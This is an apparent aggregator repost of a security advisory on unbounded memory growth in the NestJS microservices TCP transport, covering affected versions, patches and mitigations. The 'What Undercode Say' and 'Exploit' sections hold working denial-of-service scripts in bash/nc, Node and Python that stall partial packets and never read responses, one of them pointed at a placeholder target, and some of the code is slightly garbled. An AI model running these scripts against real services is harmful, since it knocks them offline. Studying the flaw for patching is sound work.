NestJS Microservices TCP Transport, Unbounded Memory Growth Denial of Service, GHSA-96h4-vgxj-gvm2 (Medium) -DC-Sep2026-2661

Listen to this Post

A peer that can open a TCP connection to a NestJS microservice using the built-in TCP transport can make the server process allocate memory without limit, on either side of the connection, until the process is killed by the OS or by its container memory limit. No authentication, no credentials, and no valid message are required. Applications are affected only if they start a microservice with Transport.TCP and the transport’s port is reachable by an untrusted peer. The TCP transport frames messages as . A peer may declare a length, send part of the payload, and then stop. JsonSocket keeps the partial payload buffered while it waits for the rest, and nothing ever reclaimed it: there was no socket timeout, no cap on the number of connections, and no tracking of accepted sockets. maxBufferSize did not close this. It caps a single connection, defaulting to 128M characters, and is enforced per connection, so the effective ceiling was the number of connections an attacker chose to open. Ten connections that each send 20MB and then go silent grew rss from 152.3MB to 561.2MB and heapUsed from 28.1MB to 229.5MB. The memory was held for as long as the connections stayed open. Closing them released it, so a peer could hold it indefinitely at negligible cost to itself. On the sending side, JsonSockethandleSend discarded the return value of socket.write. A peer that issues requests and never reads the responses therefore made the process queue every response in memory, with no ceiling and no signal to stop producing more. Thirty requests from a client whose stream is paused, against a handler returning an 8MB payload, grew rss from 152.4MB to 419.1MB. The amplification here is roughly 1:1, because the response size is set by the application rather than by the attacker; the defect is that the server buffers all of it rather than applying backpressure or giving up. An unauthenticated peer that can reach the transport’s port can drive the process to an out-of-memory kill. Under a container memory limit this is fast and repeatable, and it restarts the pod rather than merely degrading it. There is no confidentiality or integrity impact. Nothing is read, written, or executed; the failure mode is availability only. Applications are not affected if the TCP transport is not used, or if the transport’s port is reachable only by trusted peers. Upgrade @nestjs/microservices to 12.0.3 or 11.2.5. Three changes landed together: a stall timer drops a peer that stops sending mid-packet, configurable as incompleteMessageTimeout (default 30000ms); reading is suspended while a peer’s outgoing buffer is backed up and resumes on drain; responses queued for a peer that reads nothing are capped, configurable as maxSendBufferSize (default 128MB). Both limits are enabled by default. A peer that stops sending mid-packet for 30 seconds, or that lets more than 128MB of responses queue unread on a single connection, is now disconnected where previously it was not. Applications that stream very large responses to deliberately slow consumers should raise maxSendBufferSize or set it to 0.

DailyCVE Form:

Platform: NestJS Microservices
Version: 12.0.0-12.0.2, <11.2.5
Vulnerability : Unbounded Memory Growth
Severity: Medium
date: 2026-09-30

Prediction: Patched 2026-09-30

What Undercode Say:

Start a vulnerable NestJS microservice with TCP transport
nest new microservice-demo
cd microservice-demo
npm install @nestjs/microservices
In main.ts, use Transport.TCP
// Vulnerable code: no timeout, no connection cap
const app = await NestFactory.createMicroservice(AppModule, {
transport: Transport.TCP,
options: { host: '0.0.0.0', port: 3000 },
});
await app.listen();
Exploit partial packet memory exhaustion
Open 10 connections, each send 20MB then go silent
for i in {1..10}; do
(echo -n "20971520" && head -c 20971520 /dev/zero) | nc localhost 3000 &
done
Monitor memory
while true; do ps -o rss= -p $(pgrep -f "nest start"); sleep 1; done
Exploit response backpressure
Client issues 30 requests but never reads responses
node -e "
const net = require('net');
const c = net.connect(3000, () => {
for (let i = 0; i < 30; i++) {
c.write('100{\"pattern\":\"getLargePayload\"}');
}
c.pause(); // never read responses
});
"
// Patched configuration (v12.0.3 / v11.2.5)
const app = await NestFactory.createMicroservice(AppModule, {
transport: Transport.TCP,
options: {
host: '0.0.0.0',
port: 3000,
incompleteMessageTimeout: 30000,
maxSendBufferSize: 128 1024 1024,
},
});

Exploit: (Educational Purposes!)

1. Identify exposed TCP transport port
nmap -p 3000 --script=banner target.com
2. Memory exhaustion via stalled partial packets
python3 -c "
import socket, time
sockets = []
for _ in range(20):
s = socket.socket()
s.connect(('target.com', 3000))
s.send(b'10485760') declare 10MB length
s.send(b'A' 1024) send 1KB then stop
sockets.append(s)
time.sleep(3600) hold connections open
"
3. Response queue exhaustion
Handler must return large payloads; client sends requests without reading

Protection: from this CVE

Upgrade @nestjs/microservices to 12.0.3 or 11.2.5. Configure incompleteMessageTimeout and maxSendBufferSize. Restrict network access to the TCP transport port using firewall rules, security groups, or network policies. Use a custom socketClass with idle timeout and backpressure handling if upgrade is not possible. Lower maxBufferSize to reduce per-connection receive buffer. Do not rely on process memory limits as mitigation.

Impact:

An unauthenticated peer that can reach the transport’s port can drive the process to an out-of-memory kill. Under a container memory limit this is fast and repeatable, and it restarts the pod rather than merely degrading it. There is no confidentiality or integrity impact. Nothing is read, written, or executed; the failure mode is availability only.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top